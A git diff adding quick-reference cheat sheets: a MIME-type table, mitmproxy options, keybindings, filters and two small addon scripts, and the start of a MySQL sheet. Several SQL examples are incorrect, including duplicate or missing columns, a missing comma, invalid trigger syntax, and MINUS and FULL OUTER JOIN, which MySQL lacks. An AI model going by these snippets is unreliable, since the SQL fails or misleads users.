- [AsciiDoc Table](https://tableconvert.com/html-to-asciidoc?data=https://quickref.me/mime#TableGenerator)
|
||||
- [Jira Table](https://tableconvert.com/html-to-jira?data=https://quickref.me/mime#TableGenerator)
|
||||
- [Textile Table](https://tableconvert.com/html-to-textile?data=https://quickref.me/mime#TableGenerator)
|
||||
- [reStructuredText](https://tableconvert.com/html-to-restructuredtext?data=https://quickref.me/mime#TableGenerator)
|
||||
- [PHP Array](https://tableconvert.com/html-to-php?data=https://quickref.me/mime#TableGenerator)
|
||||
- [Ruby Array](https://tableconvert.com/html-to-ruby?data=https://quickref.me/mime#TableGenerator)
|
||||
- [ASP Array](https://tableconvert.com/html-to-asp?data=https://quickref.me/mime#TableGenerator)
|
||||
- [ActionScript](https://tableconvert.com/html-to-actionscript?data=https://quickref.me/mime#TableGenerator)
|
||||
- [BBCode](https://tableconvert.com/html-to-bbcode?data=https://quickref.me/mime#TableGenerator)
|
||||
- [PDF](https://tableconvert.com/html-to-pdf?data=https://quickref.me/mime#TableGenerator)
|
||||
- [JPEG](https://tableconvert.com/html-to-jpeg?data=https://quickref.me/mime#TableGenerator)
|
||||
{.cols-4 .style-none}
|
||||
|
||||
|
||||
Lists of MIME types
|
||||
-------------------
|
||||
|
||||
### Common MIME (Media) types
|
||||
| Extension | Kind of document | MIME Type \(Content Type\) |
|
||||
|-----------------|--------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------|
|
||||
| \.aac | AAC audio | audio/aac |
|
||||
| \.abw | AbiWord document | application/x\-abiword |
|
||||
| \.arc | Archive document \(multiple files embedded\) | application/x\-freearc |
|
||||
| \.avi | AVI: Audio Video Interleave | video/x\-msvideo |
|
||||
| \.azw | Amazon Kindle eBook format | application/vnd\.amazon\.ebook |
|
||||
| \.bin | Any kind of binary data | application/octet\-stream |
|
||||
| \.bmp | Windows OS/2 Bitmap Graphics | image/bmp |
|
||||
| \.bz | BZip archive | application/x\-bzip |
|
||||
| \.bz2 | BZip2 archive | application/x\-bzip2 |
|
||||
| \.csh | C\-Shell script | application/x\-csh |
|
||||
| \.css | Cascading Style Sheets \(CSS\) | text/css |
|
||||
| \.csv | Comma\-separated values \(CSV\) | text/csv |
|
||||
| \.doc | Microsoft Word | application/msword |
|
||||
| \.docx | Microsoft Word \(OpenXML\) | application/vnd\.openxmlformats\-officedocument\.wordprocessingml\.document |
|
||||
| \.eot | MS Embedded OpenType fonts | application/vnd\.ms\-fontobject |
|
||||
| \.epub | Electronic publication \(EPUB\) | application/epub\+zip |
|
||||
| \.gz | GZip Compressed Archive | application/gzip |
|
||||
| \.gif | Graphics Interchange Format \(GIF\) | image/gif |
|
||||
| \.htm \.html | HyperText Markup Language \(HTML\) | text/html |
|
||||
| \.ico | Icon format | image/vnd\.microsoft\.icon |
|
||||
| \.ics | iCalendar format | text/calendar |
|
||||
| \.jar | Java Archive \(JAR\) | application/java\-archive |
|
||||
| \.jpeg \.jpg | JPEG images | image/jpeg |
|
||||
| \.js | JavaScript | text/javascript |
|
||||
| \.json | JSON format | application/json |
|
||||
| \.jsonld | JSON\-LD format | application/ld\+json |
|
||||
| \.mid \.midi | Musical Instrument Digital Interface \(MIDI\) | audio/midi audio/x\-midi |
|
||||
| \.mjs | JavaScript module | text/javascript |
|
||||
| \.mp3 | MP3 audio | audio/mpeg |
|
||||
| \.mpeg | MPEG Video | video/mpeg |
|
||||
| \.mpkg | Apple Installer Package | application/vnd\.apple\.installer\+xml |
|
||||
| \.odp | OpenDocument presentation document | application/vnd\.oasis\.opendocument\.presentation |
|
||||
| \.ods | OpenDocument spreadsheet document | application/vnd\.oasis\.opendocument\.spreadsheet |
|
||||
| \.odt | OpenDocument text document | application/vnd\.oasis\.opendocument\.text |
|
||||
| \.oga | OGG audio | audio/ogg |
|
||||
| \.ogv | OGG video | video/ogg |
|
||||
| \.ogx | OGG | application/ogg |
|
||||
| \.opus | Opus audio | audio/opus |
|
||||
| \.otf | OpenType font | font/otf |
|
||||
| \.png | Portable Network Graphics | image/png |
|
||||
| \.pdf | Adobe Portable Document Format \(PDF\) | application/pdf |
|
||||
| \.php | Hypertext Preprocessor \(Personal Home Page\) | application/php |
|
||||
| \.ppt | Microsoft PowerPoint | application/vnd\.ms\-powerpoint |
|
||||
| \.pptx | Microsoft PowerPoint \(OpenXML\) | application/vnd\.openxmlformats\-officedocument\.presentationml\.presentation |
|
||||
| \.rar | RAR archive | application/vnd\.rar |
|
||||
| \.rtf | Rich Text Format \(RTF\) | application/rtf |
|
||||
| \.sh | Bourne shell script | application/x\-sh |
|
||||
| \.svg | Scalable Vector Graphics \(SVG\) | image/svg\+xml |
|
||||
| \.swf | Small web format \(SWF\) or Adobe Flash document | application/x\-shockwave\-flash |
|
||||
| \.tar | Tape Archive \(TAR\) | application/x\-tar |
|
||||
| \.tif \.tiff | Tagged Image File Format \(TIFF\) | image/tiff |
|
||||
| \.ts | MPEG transport stream | video/mp2t |
|
||||
| \.ttf | TrueType Font | font/ttf |
|
||||
| \.txt | Text, \(generally ASCII or ISO 8859\-n\) | text/plain |
|
||||
| \.vsd | Microsoft Visio | application/vnd\.visio |
|
||||
| \.wav | Waveform Audio Format | audio/wav |
|
||||
| \.weba | WEBM audio | audio/webm |
|
||||
| \.webm | WEBM video | video/webm |
|
||||
| \.webp | WEBP image | image/webp |
|
||||
| \.woff | Web Open Font Format \(WOFF\) | font/woff |
|
||||
| \.woff2 | Web Open Font Format \(WOFF\) | font/woff2 |
|
||||
| \.xhtml | XHTML | application/xhtml\+xml |
|
||||
| \.xls | Microsoft Excel | application/vnd\.ms\-excel |
|
||||
| \.xlsx | Microsoft Excel \(OpenXML\) | application/vnd\.openxmlformats\-officedocument\.spreadsheetml\.sheet |
|
||||
| \.xml | XML | application/xml if not readable from casual users \(RFC 3023, section 3\) text/xml if readable from casual users \(RFC 3023, section 3\) |
|
||||
| \.xul | XUL | application/vnd\.mozilla\.xul\+xml |
|
||||
| \.zip | ZIP archive | application/zip |
|
||||
| \.3gp | 3GPP audio/video container | video/3gpp audio/3gpp if it doesn't contain video |
|
||||
| \.3g2 | 3GPP2 audio/video container | video/3gpp2 audio/3gpp2 if it doesn't contain video |
|
||||
| \.7z | 7\-zip archive | application/x\-7z\-compressed |
|
||||
| \.markdown \.md | Markdown File | text/markdown |
|
||||
{.show-header}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,266 @@
|
||||
---
|
||||
title: Mitmproxy
|
||||
date: 2020-12-22 20:10:08
|
||||
icon: icon-mitmproxy
|
||||
background: bg-[#d86138]
|
||||
tags:
|
||||
- capture
|
||||
- traffic
|
||||
- network
|
||||
- utility
|
||||
categories:
|
||||
- Toolkit
|
||||
intro: |
|
||||
[mitmproxy](https://mitmproxy.org/) is a free and open source interactive HTTPS proxy. This is a quick reference cheat sheet to the mitmproxy.
|
||||
---
|
||||
|
||||
Getting started {.cols-3}
|
||||
---------------
|
||||
|
||||
### Usage {.col-span-2}
|
||||
| Option | Example | Description |
|
||||
|--------|----------------------------------------------------|-------------------------------------------|
|
||||
| `-p` | mitmproxy -p 8001 | Start proxy on port 8001 |
|
||||
| `-m` | mitmproxy -p 8001 -m reverse:http://127.0.0.1:4000 | Reverse proxy on port 8001 to port 4000 |
|
||||
| `-w` | mitmproxy -p 8001 -w traffic.mitm | Stream flows to file as they arrive |
|
||||
| `-r` | mitmproxy -r traffic.mitm | Read flows from file |
|
||||
| `-C` | mitmproxy -C traffic.mitm | Replay client requests from a saved file |
|
||||
| `-S` | mitmproxy -S traffic.mitm | Replay server responses from a saved file |
|
||||
| `-s` | mitmproxy -s myScript.py | Execute a script |
|
||||
| `-h` | mitmproxy -h | mitmproxy quick help |
|
||||
|
||||
|
||||
### Movement
|
||||
```markdown
|
||||
k Ctrl b
|
||||
▲ ▲▲
|
||||
│ ││
|
||||
h ◀ ─── + ─── ▶ l ││ page
|
||||
│ ││
|
||||
▼ ▼▼
|
||||
j Ctrl f / Space
|
||||
```
|
||||
---
|
||||
|
||||
| - | - |
|
||||
|----------------------|-----------------------|
|
||||
| `h`, `j`, `k` ,`l` | Left, Down, Up, Right |
|
||||
| `Ctrl` `b` | Page up |
|
||||
| `Space` / `Ctrl` `f` | Page down |
|
||||
| `g` / `G` | Go to beginning / end |
|
||||
| `Arrows` | Up, Down, Left, Right |
|
||||
{.shortcuts}
|
||||
|
||||
|
||||
|
||||
|
||||
### Common Keybindings
|
||||
| - | - |
|
||||
|---------|------------------|
|
||||
| `q` | Back / Exit |
|
||||
| `z` | Clear flow list |
|
||||
| `:` | Command prompt |
|
||||
| `E` | View event log |
|
||||
| `O` | View options |
|
||||
| `r` | Replay this flow |
|
||||
| `Tab` | Next |
|
||||
| `Enter` | Select |
|
||||
{.shortcuts}
|
||||
|
||||
|
||||
|
||||
### Global Keybindings
|
||||
| - | - |
|
||||
|----------------|---------------------------|
|
||||
| `-` | Cycle to next layout |
|
||||
| `?` | View help |
|
||||
| `B` | Start an attached browser |
|
||||
| `C` | View commands |
|
||||
| `I` | Toggle intercept |
|
||||
| `K` | View key bindings |
|
||||
| `P` | View flow details |
|
||||
| `Q` | Exit immediately |
|
||||
| `W` | Stream to file |
|
||||
| `i` | Set intercept |
|
||||
| `Ctrl` `right` | Focus next layout pane |
|
||||
| `Shift` `tab` | Focus next layout pane |
|
||||
{.shortcuts}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Flow (View)
|
||||
| - | - |
|
||||
|------------|------------------------------|
|
||||
| `A` | Resume all intercepted flows |
|
||||
| `D` | Duplicate flow |
|
||||
| `F` | Set focus follow |
|
||||
| `L` | Load flows from file |
|
||||
| `M` | Toggle viewing marked flows |
|
||||
| `S` | Start server replay |
|
||||
| `U` | Un-set all marks |
|
||||
| `V` | Revert changes to this flow |
|
||||
| `X` | Kill this flow |
|
||||
| `Z` | Purge all flows not showing |
|
||||
| `a` | Resume this intercepted flow |
|
||||
| `b` | Save response body to file |
|
||||
| `d` | Delete flow from view |
|
||||
| `e` | Export this flow to file |
|
||||
| `f` | Set view filter |
|
||||
| `m` | Toggle mark on this flow |
|
||||
| `n` | Create a new flow |
|
||||
| `o` | Set flow list order |
|
||||
| `r` | Replay this flow |
|
||||
| `v` | Reverse flow list order |
|
||||
| `w` | Save listed flows to file |
|
||||
| `|` | Run a script on this flow |
|
||||
| `Ctrl` `l` | Send cuts to clipboard |
|
||||
|
||||
{.shortcuts}
|
||||
|
||||
|
||||
|
||||
|
||||
Mitmproxy Filter {.cols-3}
|
||||
---------------
|
||||
|
||||
### Filter
|
||||
| - | - |
|
||||
|-----|---------------------------------------|
|
||||
| `f` | Set view filter _(on flow view page)_ |
|
||||
{.shortcuts}
|
||||
|
||||
---
|
||||
|
||||
- [RegEX cheatsheet](/regex) _(quickref.me)_
|
||||
|
||||
The regex are Python-style, it can be specified as quoted strings
|
||||
|
||||
|
||||
|
||||
### Operators
|
||||
|
||||
| - | - |
|
||||
|---------|-----------|
|
||||
| `!` | unary not |
|
||||
| `&` | and |
|
||||
| `|` | or |
|
||||
| `(...)` | grouping |
|
||||
|
||||
|
||||
### Expressions {.row-span-2}
|
||||
|
||||
| - | - |
|
||||
|----------------|------------------------------------------------------------|
|
||||
| `~a` | Match asset in response: CSS, Javascript, Flash, images. |
|
||||
| `~b` `regex` | Body |
|
||||
| `~bq` `regex` | Request body |
|
||||
| `~bs` `regex` | Response body |
|
||||
| `~c` `int` | HTTP response code |
|
||||
| `~d` `regex` | Domain |
|
||||
| `~dst` `regex` | Match destination address |
|
||||
| `~e` | Match error |
|
||||
| `~h` `regex` | Header |
|
||||
| `~hq` `regex` | Request header |
|
||||
| `~hs` `regex` | Response header |
|
||||
| `~http` | Match HTTP flows |
|
||||
| `~m` `regex` | Method |
|
||||
| `~marked` | Match marked flows |
|
||||
| `~q` | Match request with no response |
|
||||
| `~s` | Match response |
|
||||
| `~src` `regex` | Match source address |
|
||||
| `~t` `regex` | Content-type header |
|
||||
| `~tcp` | Match TCP flows |
|
||||
| `~tq` `regex` | Request Content-Type header |
|
||||
| `~ts` `regex` | Response Content-Type header |
|
||||
| `~u` `regex` | URL |
|
||||
| `~websocket` | Match WebSocket flows (and HTTP-WebSocket handshake flows) |
|
||||
|
||||
### Flow selectors
|
||||
Expressions
|
||||
| - | - |
|
||||
|-------------|----------------------------|
|
||||
| `@all ` | All flows |
|
||||
| `@focus ` | The currently focused flow |
|
||||
| `@shown ` | All flows currently shown |
|
||||
| `@hidden ` | All flows currently hidden |
|
||||
| `@marked ` | All marked flows |
|
||||
| `@unmarked` | All unmarked flows |
|
||||
|
||||
mitmproxy has a set of convenient flow selectors that operate on the current view
|
||||
|
||||
|
||||
|
||||
### Examples
|
||||
URL containing "google.com"
|
||||
|
||||
```
|
||||
google\.com
|
||||
```
|
||||
|
||||
Requests whose body contains the string "test"
|
||||
```
|
||||
~q ~b test
|
||||
```
|
||||
|
||||
Anything but requests with a text/html content type:
|
||||
```
|
||||
!(~q & ~t "text/html")
|
||||
```
|
||||
|
||||
Replace entire GET string in a request (quotes required to make it work):
|
||||
```
|
||||
":~q ~m GET:.*:/replacement.html"
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Mitmproxy Scripts {.cols-2}
|
||||
-------
|
||||
|
||||
|
||||
### Custom response
|
||||
|
||||
```python
|
||||
from mitmproxy import http
|
||||
|
||||
|
||||
def request(flow: http.HTTPFlow) -> None:
|
||||
if flow.request.pretty_url == "http://example.com/path":
|
||||
flow.response = http.HTTPResponse.make(
|
||||
200, # (optional) status code
|
||||
b"Hello World", # (optional) content
|
||||
{"Content-Type": "text/html"} # (optional) headers
|
||||
)
|
||||
```
|
||||
Send a reply from the proxy without sending any data to the remote server
|
||||
|
||||
|
||||
|
||||
### Add header
|
||||
|
||||
```python
|
||||
class AddHeader:
|
||||
def __init__(self):
|
||||
self.num = 0
|
||||
|
||||
def response(self, flow):
|
||||
self.num = self.num + 1
|
||||
flow.response.headers["count"] = str(self.num)
|
||||
|
||||
|
||||
addons = [
|
||||
AddHeader()
|
||||
]
|
||||
```
|
||||
Add an HTTP header to each response
|
||||
|
||||
Also see
|
||||
-------
|
||||
- [mitmproxy addons](https://github.com/mitmproxy/mitmproxy/tree/master/examples/addons) _(github.com)_
|
||||
- [mitmproxy docs](https://docs.mitmproxy.org/) _(mitmproxy.org)_
|
||||
@@ -0,0 +1,955 @@
|
||||
---
|
||||
title: MySQL
|
||||
date: 2020-12-16 18:28:43
|
||||
icon: icon-mysql
|
||||
background: bg-[#2a6387]
|
||||
tags:
|
||||
- RDBMS
|
||||
- DB
|
||||
categories:
|
||||
- Database
|
||||
intro: The SQL cheat sheet provides you with the most commonly used SQL statements for your reference.
|
||||
plugins:
|
||||
- tooltip
|
||||
---
|
||||
|
||||
|
||||
Getting started {.cols-2}
|
||||
---------------
|
||||
|
||||
|
||||
### Connect MySQL
|
||||
```
|
||||
mysql -u <user> -p
|
||||
|
||||
mysql [db_name]
|
||||
|
||||
mysql -h <host> -P <port> -u <user> -p [db_name]
|
||||
|
||||
mysql -h <host> -u <user> -p [db_name]
|
||||
```
|
||||
|
||||
|
||||
|
||||
### Commons {.row-span-2}
|
||||
|
||||
#### Database
|
||||
|
||||
| - | - |
|
||||
|--------------------------|-----------------|
|
||||
| `CREATE DATABASE` db `;` | Create database |
|
||||
| `SHOW DATABASES;` | List databases |
|
||||
| `USE` db`;` | Switch to db |
|
||||
| `CONNECT` db `;` | Switch to db |
|
||||
| `DROP DATABASE` db`;` | Delete db |
|
||||
|
||||
#### Table
|
||||
|
||||
| - | - |
|
||||
|--------------------------|----------------------------|
|
||||
| `SHOW TABLES;` | List tables for current db |
|
||||
| `SHOW FIELDS FROM` t`;` | List fields for a table |
|
||||
| `DESC` t`;` | Show table structure |
|
||||
| `SHOW CREATE TABLE `t`;` | Show create table sql |
|
||||
| `TRUNCATE TABLE `t`;` | Remove all data in a table |
|
||||
| `DROP TABLE `t`;` | Delete table |
|
||||
|
||||
#### Proccess
|
||||
|
||||
| - | - |
|
||||
|---------------------|----------------|
|
||||
| `show processlist;` | List processes |
|
||||
| `kill` pid`;` | kill process |
|
||||
#### Other
|
||||
|
||||
| - | - |
|
||||
|----------------|--------------------|
|
||||
| `exit` or `\q` | Exit MySQL session |
|
||||
|
||||
### Backups
|
||||
|
||||
Create a backup
|
||||
```sql
|
||||
mysqldump -u user -p db_name > db.sql
|
||||
```
|
||||
|
||||
Export db without schema
|
||||
``` {.wrap}
|
||||
mysqldump -u user -p db_name --no-data=true --add-drop-table=false > db.sql
|
||||
```
|
||||
|
||||
Restore a backup
|
||||
```
|
||||
mysql -u user -p db_name < db.sql
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
MySQL Examples {.cols-3}
|
||||
--------------
|
||||
|
||||
|
||||
### Managing tables
|
||||
Create a new table with three columns
|
||||
|
||||
```sql
|
||||
CREATE TABLE t (
|
||||
id INT,
|
||||
name VARCHAR DEFAULT NOT NULL,
|
||||
price INT DEFAULT 0
|
||||
PRIMARY KEY(id)
|
||||
);
|
||||
```
|
||||
|
||||
Delete the table from the database
|
||||
```sql
|
||||
DROP TABLE t ;
|
||||
```
|
||||
|
||||
Add a new column to the table
|
||||
```sql
|
||||
ALTER TABLE t ADD column;
|
||||
```
|
||||
|
||||
Drop column c from the table
|
||||
```sql
|
||||
ALTER TABLE t DROP COLUMN c ;
|
||||
```
|
||||
|
||||
Add a constraint
|
||||
```sql
|
||||
ALTER TABLE t ADD constraint;
|
||||
```
|
||||
|
||||
Drop a constraint
|
||||
```sql
|
||||
ALTER TABLE t DROP constraint;
|
||||
```
|
||||
|
||||
Rename a table from t1 to t2
|
||||
```sql
|
||||
ALTER TABLE t1 RENAME TO t2;
|
||||
```
|
||||
|
||||
Rename column c1 to c2
|
||||
```sql
|
||||
ALTER TABLE t1 RENAME c1 TO c2 ;
|
||||
```
|
||||
|
||||
Remove all data in a table
|
||||
```sql
|
||||
TRUNCATE TABLE t;
|
||||
```
|
||||
|
||||
|
||||
|
||||
### Querying data from a table
|
||||
Query data in columns c1, c2 from a table
|
||||
|
||||
```sql
|
||||
SELECT c1, c2 FROM t
|
||||
```
|
||||
|
||||
|
||||
Query all rows and columns from a table
|
||||
|
||||
```sql
|
||||
SELECT * FROM t
|
||||
```
|
||||
|
||||
|
||||
Query data and filter rows with a condition
|
||||
|
||||
```sql
|
||||
SELECT c1, c2 FROM t
|
||||
WHERE condition
|
||||
```
|
||||
|
||||
|
||||
Query distinct rows from a table
|
||||
|
||||
```sql
|
||||
SELECT DISTINCT c1 FROM t
|
||||
WHERE condition
|
||||
```
|
||||
|
||||
|
||||
Sort the result set in ascending or descending order
|
||||
|
||||
```sql
|
||||
SELECT c1, c2 FROM t
|
||||
ORDER BY c1 ASC [DESC]
|
||||
```
|
||||
|
||||
|
||||
Skip offset of rows and return the next n rows
|
||||
|
||||
```sql
|
||||
SELECT c1, c2 FROM t
|
||||
ORDER BY c1
|
||||
LIMIT n OFFSET offset
|
||||
```
|
||||
|
||||
|
||||
Group rows using an aggregate function
|
||||
|
||||
```sql
|
||||
SELECT c1, aggregate(c2)
|
||||
FROM t
|
||||
GROUP BY c1
|
||||
```
|
||||
|
||||
|
||||
Filter groups using HAVING clause
|
||||
|
||||
```sql
|
||||
SELECT c1, aggregate(c2)
|
||||
FROM t
|
||||
GROUP BY c1
|
||||
HAVING condition
|
||||
```
|
||||
|
||||
|
||||
### Querying from multiple tables {.row-span-2}
|
||||
Inner join t1 and t2
|
||||
|
||||
```sql
|
||||
SELECT c1, c2
|
||||
FROM t1
|
||||
INNER JOIN t2 ON condition
|
||||
```
|
||||
|
||||
|
||||
Left join t1 and t1
|
||||
|
||||
```sql
|
||||
SELECT c1, c2
|
||||
FROM t1
|
||||
LEFT JOIN t2 ON condition
|
||||
```
|
||||
|
||||
|
||||
Right join t1 and t2
|
||||
|
||||
```sql
|
||||
SELECT c1, c2
|
||||
FROM t1
|
||||
RIGHT JOIN t2 ON condition
|
||||
```
|
||||
|
||||
|
||||
Perform full outer join
|
||||
|
||||
```sql
|
||||
SELECT c1, c2
|
||||
FROM t1
|
||||
FULL OUTER JOIN t2 ON condition
|
||||
```
|
||||
|
||||
|
||||
Produce a Cartesian product of rows in tables
|
||||
|
||||
```sql
|
||||
SELECT c1, c2
|
||||
FROM t1
|
||||
CROSS JOIN t2
|
||||
```
|
||||
|
||||
|
||||
Another way to perform cross join
|
||||
|
||||
```sql
|
||||
SELECT c1, c2
|
||||
FROM t1, t2
|
||||
```
|
||||
|
||||
|
||||
Join t1 to itself using INNER JOIN clause
|
||||
|
||||
```sql
|
||||
SELECT c1, c2
|
||||
FROM t1 A
|
||||
INNER JOIN t1 B ON condition
|
||||
```
|
||||
|
||||
|
||||
Using SQL Operators
|
||||
Combine rows from two queries
|
||||
|
||||
```sql
|
||||
SELECT c1, c2 FROM t1
|
||||
UNION [ALL]
|
||||
SELECT c1, c2 FROM t2
|
||||
```
|
||||
|
||||
|
||||
Return the intersection of two queries
|
||||
|
||||
```sql
|
||||
SELECT c1, c2 FROM t1
|
||||
INTERSECT
|
||||
SELECT c1, c2 FROM t2
|
||||
```
|
||||
|
||||
|
||||
Subtract a result set from another result set
|
||||
|
||||
```sql
|
||||
SELECT c1, c2 FROM t1
|
||||
MINUS
|
||||
SELECT c1, c2 FROM t2
|
||||
```
|
||||
|
||||
|
||||
Query rows using pattern matching %, _
|
||||
|
||||
```sql
|
||||
SELECT c1, c2 FROM t1
|
||||
WHERE c1 [NOT] LIKE pattern
|
||||
```
|
||||
|
||||
|
||||
Query rows in a list
|
||||
|
||||
```sql
|
||||
SELECT c1, c2 FROM t
|
||||
WHERE c1 [NOT] IN value_list
|
||||
```
|
||||
|
||||
|
||||
Query rows between two values
|
||||
|
||||
```sql
|
||||
SELECT c1, c2 FROM t
|
||||
WHERE c1 BETWEEN low AND high
|
||||
```
|
||||
|
||||
|
||||
Check if values in a table is NULL or not
|
||||
|
||||
```sql
|
||||
SELECT c1, c2 FROM t
|
||||
WHERE c1 IS [NOT] NULL
|
||||
```
|
||||
|
||||
|
||||
### Using SQL constraints
|
||||
|
||||
|
||||
Set c1 and c2 as a primary key
|
||||
|
||||
```sql
|
||||
CREATE TABLE t(
|
||||
c1 INT, c2 INT, c3 VARCHAR,
|
||||
PRIMARY KEY (c1,c2)
|
||||
);
|
||||
```
|
||||
|
||||
|
||||
Set c2 column as a foreign key
|
||||
|
||||
```sql
|
||||
CREATE TABLE t1(
|
||||
c1 INT PRIMARY KEY,
|
||||
c2 INT,
|
||||
FOREIGN KEY (c2) REFERENCES t2(c2)
|
||||
);
|
||||
```
|
||||
|
||||
|
||||
Make the values in c1 and c2 unique
|
||||
|
||||
```sql
|
||||
CREATE TABLE t(
|
||||
c1 INT, c1 INT,
|
||||
UNIQUE(c2,c3)
|
||||
);
|
||||
```
|
||||
|
||||
|
||||
Ensure c1 > 0 and values in c1 >= c2
|
||||
|
||||
```sql
|
||||
CREATE TABLE t(
|
||||
c1 INT, c2 INT,
|
||||
CHECK(c1> 0 AND c1 >= c2)
|
||||
);
|
||||
```
|
||||
|
||||
Set values in c2 column not NULL
|
||||
|
||||
```sql
|
||||
CREATE TABLE t(
|
||||
c1 INT PRIMARY KEY,
|
||||
c2 VARCHAR NOT NULL
|
||||
);
|
||||
```
|
||||
|
||||
|
||||
### Modifying Data
|
||||
|
||||
|
||||
Insert one row into a table
|
||||
|
||||
```sql
|
||||
INSERT INTO t(column_list)
|
||||
VALUES(value_list);
|
||||
```
|
||||
|
||||
|
||||
Insert multiple rows into a table
|
||||
|
||||
```sql
|
||||
INSERT INTO t(column_list)
|
||||
VALUES (value_list),
|
||||
(value_list), …;
|
||||
```
|
||||
|
||||
|
||||
Insert rows from t2 into t1
|
||||
|
||||
```sql
|
||||
INSERT INTO t1(column_list)
|
||||
SELECT column_list
|
||||
FROM t2;
|
||||
```
|
||||
|
||||
|
||||
Update new value in the column c1 for all rows
|
||||
|
||||
```sql
|
||||
UPDATE t
|
||||
SET c1 = new_value;
|
||||
```
|
||||
|
||||
|
||||
Update values in the column c1, c2 that match the condition
|
||||
|
||||
```sql
|
||||
UPDATE t
|
||||
SET c1 = new_value,
|
||||
c2 = new_value
|
||||
WHERE condition;
|
||||
```
|
||||
|
||||
|
||||
Delete all data in a table
|
||||
|
||||
```sql
|
||||
DELETE FROM t;
|
||||
```
|
||||
|
||||
|
||||
Delete subset of rows in a table
|
||||
|
||||
```sql
|
||||
DELETE FROM t
|
||||
WHERE condition;
|
||||
```
|
||||
|
||||
|
||||
### Managing Views
|
||||
|
||||
|
||||
Create a new view that consists of c1 and c2
|
||||
|
||||
```sql
|
||||
CREATE VIEW v(c1,c2)
|
||||
AS
|
||||
SELECT c1, c2
|
||||
FROM t;
|
||||
```
|
||||
|
||||
|
||||
Create a new view with check option
|
||||
|
||||
```sql
|
||||
CREATE VIEW v(c1,c2)
|
||||
AS
|
||||
SELECT c1, c2
|
||||
FROM t;
|
||||
WITH [CASCADED | LOCAL] CHECK OPTION;
|
||||
```
|
||||
|
||||
|
||||
Create a recursive view
|
||||
|
||||
```sql
|
||||
CREATE RECURSIVE VIEW v
|
||||
AS
|
||||
select-statement -- anchor part
|
||||
UNION [ALL]
|
||||
select-statement; -- recursive part
|
||||
```
|
||||
|
||||
|
||||
Create a temporary view
|
||||
|
||||
```sql
|
||||
CREATE TEMPORARY VIEW v
|
||||
AS
|
||||
SELECT c1, c2
|
||||
FROM t;
|
||||
```
|
||||
|
||||
|
||||
Delete a view
|
||||
|
||||
```sql
|
||||
DROP VIEW view_name;
|
||||
```
|
||||
|
||||
|
||||
### Managing triggers
|
||||
|
||||
|
||||
Create or modify a trigger
|
||||
|
||||
```sql
|
||||
CREATE OR MODIFY TRIGGER trigger_name
|
||||
WHEN EVENT
|
||||
ON table_name TRIGGER_TYPE
|
||||
EXECUTE stored_procedure;
|
||||
```
|
||||
#### WHEN
|
||||
|
||||
| - | - |
|
||||
|----------|--------------------------------|
|
||||
| `BEFORE` | invoke before the event occurs |
|
||||
| `AFTER` | invoke after the event occurs |
|
||||
|
||||
#### EVENT
|
||||
|
||||
| - | - |
|
||||
|----------|-------------------|
|
||||
| `INSERT` | invoke for INSERT |
|
||||
| `UPDATE` | invoke for UPDATE |
|
||||
| `DELETE` | invoke for DELETE |
|
||||
|
||||
#### TRIGGER_TYPE
|
||||
|
||||
| - | - |
|
||||
|----------------------|---|
|
||||
| `FOR EACH ROW` | |
|
||||
| `FOR EACH STATEMENT` | |
|
||||
|
||||
|
||||
|
||||
|
||||
### Managing indexes
|
||||
|
||||
Create an index on c1 and c2 of the t table
|
||||
|
||||
```sql
|
||||
CREATE INDEX idx_name
|
||||
ON t(c1,c2);
|
||||
```
|
||||
|
||||
|
||||
Create a unique index on c3, c4 of the t table
|
||||
|
||||
```sql
|
||||
CREATE UNIQUE INDEX idx_name
|
||||
ON t(c3,c4)
|
||||
```
|
||||
|
||||
|
||||
Drop an index
|
||||
|
||||
```sql
|
||||
DROP INDEX idx_name;
|
||||
```
|
||||
|
||||
|
||||
MySQL Data Types {.cols-3}
|
||||
---------
|
||||
|
||||
|
||||
### Strings
|
||||
|
||||
| - | - |
|
||||
|--------------|-----------------------------|
|
||||
| `CHAR` | String (0 - 255) |
|
||||
| `VARCHAR` | String (0 - 255) |
|
||||
| `TINYTEXT` | String (0 - 255) |
|
||||
| `TEXT` | String (0 - 65535) |
|
||||
| `BLOB` | String (0 - 65535) |
|
||||
| `MEDIUMTEXT` | String (0 - 16777215) |
|
||||
| `MEDIUMBLOB` | String (0 - 16777215) |
|
||||
| `LONGTEXT` | String (0 - 4294967295) |
|
||||
| `LONGBLOB` | String (0 - 4294967295) |
|
||||
| `ENUM` | One of preset options |
|
||||
| `SET` | Selection of preset options |
|
||||
|
||||
|
||||
### Date & time
|
||||
| Data Type | Format |
|
||||
|-------------|---------------------|
|
||||
| `DATE ` | yyyy-MM-dd |
|
||||
| `TIME ` | hh:mm:ss |
|
||||
| `DATETIME ` | yyyy-MM-dd hh:mm:ss |
|
||||
| `TIMESTAMP` | yyyy-MM-dd hh:mm:ss |
|
||||
| `YEAR ` | yyyy |
|
||||
|
||||
|
||||
### Numeric
|
||||
|
||||
| - | - |
|
||||
|---------------|---------------------------------------------------------------|
|
||||
| `TINYINT x` | Integer (-128 to 127) |
|
||||
| `SMALLINT x` | Integer (-32768 to 32767) |
|
||||
| `MEDIUMINT x` | Integer (-8388608 to 8388607) |
|
||||
| `INT x` | Integer (-2147483648 to 2147483647) |
|
||||
| `BIGINT x` | Integer (-9223372036854775808 to 9223372036854775807) |
|
||||
| `FLOAT` | Decimal (precise to 23 digits) |
|
||||
| `DOUBLE` | Decimal (24 to 53 digits) |
|
||||
| `DECIMAL` | "DOUBLE" stored as string |
|
||||
|
||||
|
||||
|
||||
|
||||
MySQL Functions & Operators {.cols-3}
|
||||
---------
|
||||
|
||||
|
||||
### Strings {.row-span-2}
|
||||
- [ASCII()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_ascii){data-tooltip="Return numeric value of left-most character"}
|
||||
- [BIN()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_bin){data-tooltip="Return a string containing binary representation of a number"}
|
||||
- [BIT_LENGTH()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_bit-length){data-tooltip="Return length of argument in bits"}
|
||||
- [CHAR()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_char){data-tooltip="Return the character for each integer passed"}
|
||||
